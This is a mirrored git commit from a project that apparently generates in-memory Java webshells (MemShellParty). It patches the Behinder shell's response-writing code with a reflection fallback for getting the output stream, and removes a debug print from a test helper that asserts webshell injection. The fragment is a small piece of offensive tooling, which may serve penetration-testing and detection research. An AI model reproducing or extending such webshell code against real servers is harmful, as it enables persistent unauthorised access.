mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
fix: behinder outputStream methodNotFound
This commit is contained in:
@@ -32,10 +32,15 @@ public class Test {
|
||||
result.put("status", "success");
|
||||
} finally {
|
||||
try {
|
||||
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
|
||||
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
|
||||
getOutputStreamMethod.setAccessible(true);
|
||||
Object so = getOutputStreamMethod.invoke(this.Response);
|
||||
Object so = null;
|
||||
try {
|
||||
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
|
||||
} catch (Exception e) {
|
||||
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
|
||||
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
|
||||
getOutputStreamMethod.setAccessible(true);
|
||||
so = getOutputStreamMethod.invoke(this.Response);
|
||||
}
|
||||
Method write = so.getClass().getMethod("write", byte[].class);
|
||||
String jsonStr = this.buildJson(result, true);
|
||||
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
|
||||
|
||||
-1
@@ -65,7 +65,6 @@ public class ShellAssertionTool {
|
||||
}
|
||||
|
||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
|
||||
System.out.println(content);
|
||||
switch (packer) {
|
||||
case JSP -> {
|
||||
String uploadEntry = url + "/upload";
|
||||
|
||||
Reference in New Issue
Block a user